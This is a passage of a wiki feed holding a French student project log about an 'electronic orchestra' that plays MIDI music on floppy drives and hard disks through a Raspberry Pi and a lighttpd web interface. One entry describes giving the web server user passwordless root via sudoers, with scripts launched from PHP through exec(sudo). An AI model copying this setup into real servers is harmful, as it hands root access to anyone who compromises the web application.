&amp;lt;li&amp;gt; Réalisation d'un piano avec un clavier d'ordinateur grâce à la bibliothèque pygame. Grâce aux codes des touches, on arrive à associer les FDD et le clavier par simple récupération des évènements &amp;quot;la touche a a été appuyée&amp;quot;. Ceci grâce à une table d'association touche -&amp;gt; fréquence. (Vidéo à venir prochainement)&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Semaine 9 ===&lt;br /&gt;
'''30/03/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Début de récupération de fichiers contenant plusieurs canaux MIDI '''triés''' (ajout d'un tri de tous les tableaux afin de différencier les canaux). Modification du programme afin qu'il différencie les channels et les notes associées. On peut compter le nombre de notes dans le channel&lt;br /&gt;
et ainsi jouer les notes du canal sur 1 instrument, et associer tous les instruments. A continuer&amp;lt;br /&amp;gt;&lt;br /&gt;
Il pourra se poser un problème pour les alimentations (manque d'alims ...) des lecteurs de disquettes et des autres instruments type disque durs, ainsi que sur le nombre de GPIO disponibles sur la RPi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Continuation de l'ampli pour le disque dur (amplification de l'amplitude de la PWM). Début du PCB&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Liens ==&lt;br /&gt;
&lt;br /&gt;
[https://bytecode77.com/coding/electronics/floppydrivemusic floppy drive music]&amp;lt;br/&amp;gt;&lt;br /&gt;
[http://georgewhiteside.net/projects/diskette-organ/ Disk organ]&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
&lt;br /&gt;
Tous les codes sont présents dans notre GIT&amp;lt;br /&amp;gt;&lt;br /&gt;
https://archives.plil.fr/troj/IMA4_S8_P45&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Orchestre_%C3%A9lectronique&amp;diff=29618</id>
		<title>Orchestre électronique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Orchestre_%C3%A9lectronique&amp;diff=29618"/>
				<updated>2016-04-05T15:18:11Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Interaction avec l'encadrant */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interaction avec l'encadrant =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;Déposez ici vos remarques et commentaires&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;Précisez, s'il vous plaît la date et l'auteur du message&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Hidéo VINOT le 11/03/2016 &amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Bonjour, je vous propose de faire la caractérisation en fréquence et en gain d'un des disques durs hauts parleurs que vous avez créé avec du matériel de mesure professionnel. Cela permettra de donner une courbe de haute précision et je pourrais me familiariser avec le matériel. J'ai besoin d'un des hauts parleurs et de son ampli avec des connectiques robustes. Si vous êtes d'accord contactez moi.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Hidéo VINOT le 05/03/2016 &amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:grey&amp;quot;&amp;gt;&amp;quot;Proposition ; Au lieu d'utiliser un clavier MIDi type Synthétiseur, utilisation d'un clavier d'ordinateur. Certaines touches seront alors des notes (comme un clavier de piano) et on pourra alors jouer de la musique avec.&amp;quot;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Bonjour, c'est bien que vous arriviez a jouer de la musique depuis un clavier PC, mais si c'est une liaison série, pourquoi ne pas convertir les notes midis en une valeur ou une série de valeurs corespondant directement sur la raspberry? Le clavier MIDI reste un super outil pour jouer de la musique.&lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
&lt;br /&gt;
Le projet s'inscrit dans la démarche artistique de M. Lucas PRIEUX, artiste marionnettiste.&lt;br /&gt;
Son souhait est de montrer ce que les nouvelles technologies d'aujourd'hui nous apportent.&amp;lt;br /&amp;gt;&lt;br /&gt;
Le dossier de création de la pièce HUMAINS est disponible ici [[http://collectif23h50.com/wp-content/uploads/2015/01/HUMAINS-Dossier-de-cre%CC%81ation-WEB1.pdf]]&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif final du projet est de créer un dispositif comprenant une entrée MIDI (standard pour le son), et des sorties sur lesquelles on&lt;br /&gt;
brancherait des instruments électroniques du type scanner ou lecteur de disquettes.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Le projet se divise donc en différentes étapes :&amp;lt;br /&amp;gt;&lt;br /&gt;
- La première étape est de bien définir le cahier des charges avec l'artiste afin de connaître ses attentes sur ce projet&amp;lt;br /&amp;gt;&lt;br /&gt;
- la seconde étape va être de mettre en place un dispositif (Raspberry Pi) permettant de décoder la trame MIDI reçu sur l'entrée et d'afficher les notes jouées par les instruments&amp;lt;br /&amp;gt;&lt;br /&gt;
- la dernière étape s'appuiera sur les volontés de l'artiste et des encadrants.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
Matériel nécessaire :&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Raspberry Pi&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Adaptateurs USB-MIDI avec 1 USB et 2 sorties MIDI_IN et MIDI_OUT disponible chez LDLC [[http://www.ldlc.com/fiche/PB00046193.html]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Instruments électroniques: du vieux matériel disponible ici en occasion pour pas cher:[[http://www.informatiqueoccasion.fr/]]&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt; Lecteurs de disquettes &amp;lt;/li&amp;gt; (vieux lecteurs disponibles au fabricarium)&lt;br /&gt;
&amp;lt;li&amp;gt; Disque dur &amp;lt;/li&amp;gt; (fabricarium peut-être)&lt;br /&gt;
&amp;lt;li&amp;gt; Imprimante matricielle &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Modem 56k&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Magnétoscope &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Lecteurs CD/ROM &amp;lt;/li&amp;gt; (fabricarium toujours)&lt;br /&gt;
&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Calendrier prévisionnel===&lt;br /&gt;
&lt;br /&gt;
==Avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
===Préparation du projet : Mise en place du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
'''2/11/15 :''' Réunion avec les différents acteurs du projet afin de bien fixer les attentes, les volontés de ces derniers.&amp;lt;br/&amp;gt;&lt;br /&gt;
C'est également lors de cette réunion que l'on fixera le cahier des charges et le matériel nécessaire&amp;lt;br /&amp;gt;&lt;br /&gt;
''Résumé de la réunion :''&amp;lt;br /&amp;gt;&lt;br /&gt;
L'objectif de cette réunion était de fixer les attentes et les volontés du porteur du projet.&amp;lt;br /&amp;gt;&lt;br /&gt;
Dans un premier temps, nous avons discutés avec M.PRIEUX du contexte dans lequel était inséré ce projet.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, nous avons discutés des fonctionnalités du dispositif. Nous lui avons soumis 2 idées :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Soit jouer en direct sur les instruments électroniques ce qui est joué sur un clavier&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Soit pré-enregistrer une séquence d'instruments électroniques et de la re-jouer au moment voulu&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
M.PRIEUX a souhaité que ces 2 fonctionnalités soient intégrés au dispositif.&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Il a également été question du coeur de notre dispositif. Nous nous sommes tous dit que si l'on utilisait un Arduino, il aurait été obligatoire d'ajouter en plus une Raspberry Pi pour y intégrer le logiciel. Nous avons donc conclus qu'utiliser une Raspberry Pi serait mieux pour éviter l'encombrement et pour disposer de plus de fonctionnalités.&amp;lt;br /&amp;gt;&lt;br /&gt;
Concernant la RP, une distribution Linux spécialisé pour le traitement du son a été évoqué.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
Il a aussi été demandé d'étudier la plage de fréquences des différents appareils afin de répartir les notes sur les instruments.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cahier des charges :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Le dispositif est donc composé de :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une entrée MIDI afin de brancher un clavier&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une Raspberry Pi afin de déterminer les canaux MIDI et de réaliser l'interface Web&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une sortie MIDI pour venir y brancher un synthétiseur de son MIDI afin de synthétiser les sons impossibles à jouer avec les instruments électroniques (possibilité de mise en place d'une deuxième RP muni du logiciel Rosegarden [[http://www.rosegardenmusic.com/]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une carte électronique permettant de venir brancher les différents instruments électroniques&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Notre dispositif devra donc avoir 2 fonctionnalités :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une première fonctionnalité sera de jouer en direct les notes sortant d'un clavier MIDI &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une deuxième fonctionnalité sera de pré-enregistrer une séquence d'instruments électroniques et de la rejouer au moment voulu &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Un petit schéma résumé s'impose :&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:Synopsis.jpg]]&lt;br /&gt;
&lt;br /&gt;
Sons disponibles avec tout notre matériel :&lt;br /&gt;
&lt;br /&gt;
Ici, un très joli bruit caractéristique d'un modem 56k (Ah, la nostalgie ...) : [[https://www.youtube.com/watch?v=hWNr9FBJhqQ]]&amp;lt;br /&amp;gt;&lt;br /&gt;
La, un très bon morceau joué sur lecteur de disquette : [[https://www.youtube.com/watch?v=lx_vWkv50uk]]&amp;lt;br /&amp;gt;&lt;br /&gt;
Et maintenant, l'impression (on dirait les machines à tickets de caisses ...) avec une imprimante matricielle : [[http://www.dailymotion.com/video/x1coygz_eye-of-the-tiger-joue-par-une-imprimante_]]&amp;lt;br /&amp;gt;&lt;br /&gt;
Le tout mis en oeuvre : [[http://www.dailymotion.com/video/x2mb45n_jouer-du-nirvana-avc-des-disques-dur-hdd-and-floppy-music-smell-like-teen-spirit_music]]&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Semaine 1===&lt;br /&gt;
&lt;br /&gt;
'''25/01/16 :''' &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Réception du matériel (disques dur, lecteurs de disquette, lecteurs CD, scanner et imprimantes) &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Découverte du fonctionnement des lecteurs de disquettes (brochage, pins à utiliser pour piloter le moteur)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''27/01/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Découverte de la programmation des GPIO sur la RPi avec Python (bibliothèque RPi.GPIO)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Toujours avec Python, nous réussissons à faire vibrer le moteur du lecteur de disquette (en utilisant une PWM et en contrôlant les bonnes broches du floppy disk)&amp;lt;br /&amp;gt;&lt;br /&gt;
Dans une boucle conditionné par des exceptions (try/catch), nous faisons vibrer pendant un certain temps le moteur à des fréquences différentes, en utilisant alternativement les méthodes ChangeFrequency sur l'objet représentant la PWM (p.ChangeFrequency(220) par exemple), et en utilisant la bibliothèque time et la méthode sleep (time.sleep(&amp;lt;durée de la note&amp;gt;))&amp;lt;br /&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Programme pouvant &amp;quot;approximativement&amp;quot; jouer la marche impériale (Star Wars). Petites photos :&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:floppy_disk.JPG | 250px | left]]&lt;br /&gt;
[[Fichier:RPi.JPG | 250px | right]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Semaine 2 ===&lt;br /&gt;
&lt;br /&gt;
'''01/02/2016 : '''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Amélioration du programme permettant de jouer la marche impériale (utilisation de 2 tableaux : un contenant la fréquence des notes à jouer, et l'autre contenant la durée des notes) &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
'''03/02/2016 :''' &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Début d'écriture d'un programme Python permettant de décoder un fichier MIDI --&amp;gt; Conclusion : Utilisation d'une bibliothèque au lieu de tout faire à la main&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test sur l'imprimante à aiguilles pour piloter le moteur --&amp;gt; SANS SUCCES (Communication série ?)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''04/06/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Écriture du programme communiquant avec l'imprimante a aiguilles en série avec la RPi (langage de description de page (PDL) Epson ESC/P2 pour envoyer les commandes en série à l'imprimante)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Semaine 3 ===&lt;br /&gt;
&lt;br /&gt;
'''10/02/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Fin d'écriture du programme traitant le fichier MIDI : en sortie, on obtient 3 tableaux : 1 contenant les notes, 1 contenant la hauteur des notes, et 1 contenant les ticks (date d'apparition de chaque événement). Ces tableaux nous serviront à gérer les GPIO pour les disques durs et les disquettes.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Test sur le disque dur : vibration de la tête de lecture (juste grâce à une alim pour voir si la tête vibrait)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''11/02/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Transformation d'un disque dur en instrument électronique : vibration de la tête de lecture grâce à une PWM&amp;lt;br /&amp;gt; &lt;br /&gt;
[[Fichier : DD0742.mp4 | center | 250px]]&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Inconvénient :''' Bruit très faible --&amp;gt; Besoin d'une caisse de résonance afin d'améliorer le son provenant de la tête de lecture (à étudier)&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Semaine 4 ===&lt;br /&gt;
&lt;br /&gt;
'''24/02/2016 :''' &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Tentative de communication avec le port série sur l'imprimante à aiguilles --&amp;gt; Toujours sans succès ... &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Au lieu d'utiliser la bibliothèque interne de la RPi pour gérer la PWM et les GPIO, nous utiliserons la bibliothèque WiringPi. Elle offre plus de fonctionnalités que la bibliothèque de base &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Début du codage de l'interface WEB :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt; Choix du serveur WEB : '''lighttpd''' : Pourquoi ? Tout simplement car il est beaucoup plus léger qu'un serveur Apache et qu'il est plus adapté pour les processeurs ARM dont dispose la RPi &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Interfaçage entre les scripts Python et Web : '''CGI''' (Common Gateway Interface).&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Architecture du serveur WEB et explications : &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier : archi_serveur.jpg | 600px | center]]&lt;br /&gt;
Explications : Le serveur lighttpd prend sa racine dans le répertoire ''/var/www'' de la RPi. On dispose de 2 répertoires : ''html'' afin de stocker les pages WEB et ''cgi-bin'' afin de stocker les scripts destinés à être exécuté.&amp;lt;br /&amp;gt;&lt;br /&gt;
Lorsque la page WEB demande l'exécution d'un script, ce dernier passe dans l'interpréteur contenu dans le serveur CGI, et le résultat est retourné vers la page WEB.&amp;lt;br /&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
'''27/02/2016 (et oui, même le week-end, on bosse !) ''' : &amp;lt;br /&amp;gt;&lt;br /&gt;
Grâce au matériel que l'on a chez nous, nous arrivons quand même à travailler sur l'interface WEB.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Problèmes rencontrés avec le codage d'un script pour découvrir wiringPi et CGI (utilisation d'une PWM pour faire tourner un servo-moteur):&lt;br /&gt;
&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt; Problème avec les autorisations de l'utilisateur ''www-data'' du serveur : les scripts python (notamment ceux avec wiringPi) doivent s'exécuter en ''root'' pour pouvoir manipuler les GPIO.&amp;lt;br /&amp;gt;&lt;br /&gt;
Solution : Modifier le fichier ''/etc/sudoers'' afin que les scripts exécutés sous l'utilisateur ''www-data'' (serveur) puissent d'exécuter sans demander de mot de passe lors du passage à l'utilisateur ''root''. Et l'exécution des scripts python se fera par du php par la commande ''exec(sudo &amp;lt;chemin/script_python&amp;gt;)''&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Semaine 5===&lt;br /&gt;
&lt;br /&gt;
'''29/02/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Configuration de la Raspberry Pi pour aller sur internet, installer et mettre à jour les paquets (modification du fichier ''apt.conf'')&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Installation des différents paquets pour nous permettre de créer le serveur web et de faire tourner le serveur CGI (Paquets installés : lighttpd, fastcgi, php5-cgi, python-dev et python-pip)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Utilisation de l'utilitaire PIP pour installer la bibliothèque WiringPi2 (utilisation d'un script shell afin de passer le proxy dans la commande)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Configuration du serveur lighttpd (modules à utiliser, prise en compte du serveur cgi et de l'exécution de scripts python et php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''02/03/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test du bon fonctionnement du serveur web lighttpd (test avec une page html, et une page php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test du bon fonctionnement de la bibliothèque WiringPi2 et du serveur CGI avec un petit script qui fait clignoter une LED 5 fois (utilité --&amp;gt; Nécessaire pour piloter 1 instrument seul)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Dans la perspective de contrôler plusieurs instruments en même temps, mise en place de threads afin de faire clignoter 3 LEDS en parallèle (utilisation de la bibliothèque ''threading'' de python, redéfinition du constructeur du thread ''__init__'' et redéfinition de la méthode ''run'' (code que va exécuter le thread) --&amp;gt; Vidéo à venir&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Problème : WiringPi ne gère que des PWM soft et ne gère pas les successions d'écriture. C'est donc inadapté à notre problème. On revient donc à la solution de départ qui est d'utiliser la bibliothèque de base de la RPi pour gérer les GPIO.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Test d'un fichier HTML appelant un script PHP qui exécute un script python permettant de jouer la marche impériale sur 1 FDD --&amp;gt; SUCCES (vidéo à venir)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test pour gérer 2 FDD via les threads --&amp;gt; A poursuivre &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''03/03/2016 :''' &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Test pour gérer 2 FDD via threads --&amp;gt; Les 2 FDD jouent la même musique (Vidéo à venir)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Configuration de git pour passer par le proxy (script shell) &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Installation de la bibliothèque python-midi afin de gérer les fichiers MIDI&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lorsque nous lançons le script ''mididump.py'' qui est en charge de &amp;quot;décortiquer&amp;quot; le fichier MIDI, la sortie est une (longue) liste de commandes qui sont de la forme suivante : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;math&amp;gt;midi.noteOnEvent(tick=&amp;lt;tick&amp;gt;, channel=&amp;lt;channel, data=[&amp;lt;numero de la note&amp;gt;,&amp;lt;velocite&amp;gt;]&amp;lt;/math&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
A l'aide de notre script écrit précédemment afin de sortir les tableaux correspondant au morceau (3 tableaux :notes, vélocité, ticks), nous pourrons ainsi passer en paramètre de nos threads ces 3 tableaux, et les PWM feront le reste.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Amélioration du premier site web avec du CSS&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Recherche sur l'interprétation des &amp;quot;ticks&amp;quot; MIDI --&amp;gt; Ce serait l'instant où la note est joué, cet instant étant considéré par rapport à l'évènement précédent. Une modification de notre programme qui gère les PWM est à effectuer pour pouvoir gérer ces ticks.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Semaine 6===&lt;br /&gt;
'''07/03/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Debut de l'association entre l'interface WEB, le programme python qui traite les fichiers MIDI, et les instruments&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Interprétation des ticks MIDI : Modification du programme en conséquence - Récupération des constantes de temps importantes telles que la résolution temporelle et la signature des clés (clé de DO, clé de SOL, utile pour la partition) &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Création d'une association entre les numéros de notes et les fréquences de ces dernières : utilisation d'une table d'association clé-valeur &amp;lt;K,V&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt; K : clé qui représente le numéro de la note&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;V : Fréquence associée à la note K&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''09/03/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Visite de M.PRIEUX dans les locaux de projet. Nous lui avons fait une démonstration de ce que nous avons fait depuis le début du projet (2 FDD qui jouent la même musique, le HDD transformé en HP, vibration de la tête d'un HDD avec une PWM)&amp;lt;br /&amp;gt;&lt;br /&gt;
Discussion sur les poursuites du projet, ainsi que sur les performances de nos instruments.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test sur les fichiers MIDI. Ca fonctionne, ca joue, mais les notes n'arrivent pas dans les temps voulu. C'est dû à une mauvaise interprétation des ticks MIDI. Le programme est donc à revoir&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Semaine 7===&lt;br /&gt;
'''14/03/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Récupération des différentes constantes de temps des fichiers MIDI : calcul de la conversion d'un tick MIDI en temps réel :&amp;lt;br /&amp;gt;&lt;br /&gt;
Le tick est l'unité de temps des fichiers MIDI. A l'intérieur du fichier se trouvent différentes valeurs permettant de définir le temps MIDI et le temps réel :&amp;lt;br /&amp;gt;&lt;br /&gt;
La résolution : Elle représente le nombre de tick par quart de note.&amp;lt;br /&amp;gt;&lt;br /&gt;
Le temps : Il est représenté soit en BPM (battements par minute), soit en MPQ (microsecondes par quart de note).&amp;lt;br /&amp;gt;&lt;br /&gt;
Par défaut, le tempo est de 120 bpm.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ainsi, pour calculer un tick, il faut appliquer la formule suivante :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;math&amp;gt;dt = t(en MPQ)/R = (50000000/120)/R&amp;lt;/math&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Ainsi, pour calculer le temps pour P ticks par exemple, on a :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;math&amp;gt; dT = P * dt&amp;lt;/math&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''16/03/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Amélioration de la vibration de la tête de lecture d'un HDD : montage amplificateur de tension + montage push-pull (ampli de puissance) afin d'augmenter le volume&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Utilisation de l'imprimante à aiguilles : découverte du port parallèle et de sa programmation en C.&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
'''17/03/2016 :''' &amp;lt;br /&amp;gt;&lt;br /&gt;
